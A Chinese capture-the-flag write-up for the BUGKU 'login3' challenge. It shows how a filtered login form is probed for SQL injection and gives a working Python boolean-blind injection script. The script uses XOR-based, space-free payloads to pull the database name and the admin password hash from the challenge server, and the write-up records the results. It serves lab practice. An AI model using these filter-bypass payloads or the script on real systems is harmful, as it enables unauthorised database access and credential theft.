BUGKU login3(SKCTF)

匿名 (未验证) 提交于 2019-12-03 00:02:01

进入页面 先输入1 和 1 发现 提示 用户名错误

猜测输入用户名 admin 和 1  提示 密码错误

继续猜测输入用户名 admin' 和1 提示 用户名错误

继续猜测输入  用户名 admin'#和1 提示 密码错误

说明 逻辑是先检查用户名是否正确再匹配密码,当页面出现密码错误时,说明用户名内容正确

综上 用户名输入存在注入

输入admin' # 提示非法 说明 空格被过滤

空格可以使用  () 代替,=可以使用 <> 代替

经测试空格 and union = ,逗号 被过滤 结合题目考虑使用布尔盲注

上网查询 https://blog.csdn.net/zpy1998zpy/article/details/80667775

通过爆出数据库名,但是 Information 被过滤了,只能猜表名和字段名,搜索WP得知 表名admin,字段password

 

下面是脚本

import sys import requests from bs4 import BeautifulSoup import re   url_start = 'http://123.206.31.85:49167/index.php'    sql_flag ="admin'^(select(ascii(mid((select(password)from(admin))from({0})))<>{1}))^0#" sql_database="admin'^(ascii(mid(database()from({0})))<>{1})^0#"   def Brup(SQL):     name=''     for i in range(1,40):         for ch in range(32,129):             if(ch == 128):                 sys.exit(0)             payload = SQL.format(i,ch)             #print(payload)             #data = {             #    'username':payload             #}             #print(data)             data={             'Host': '123.206.31.85:49167',             'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',             'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',             'Accept-Language': 'zh-CN,en;q=0.5',             'Accept-Encoding': 'gzip, deflate',             'Referer': 'http://123.206.31.85:49167/',             'Content-Type': 'application/x-www-form-urlencoded',             'Content-Length': 65,             'Connection': 'close',             'Upgrade-Insecure-Requests': 1,             'username':payload,             'password':'test'             }             #print(data)             html = requests.post(url_start,data)             #print(html.content)             soup = BeautifulSoup(html.content, 'html.parser')             result = soup.find_all(text = 'password error!')             #print(result)             #判断是否为空             if len(result):                 name += chr(ch)                 print('name:'+name)                 break          if __name__ == '__main__':     #Brup(sql_database)     #Brup(sql_flag)  #database:blindsql #password:51b7a76d51e70b419f60d3473fb6f900

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!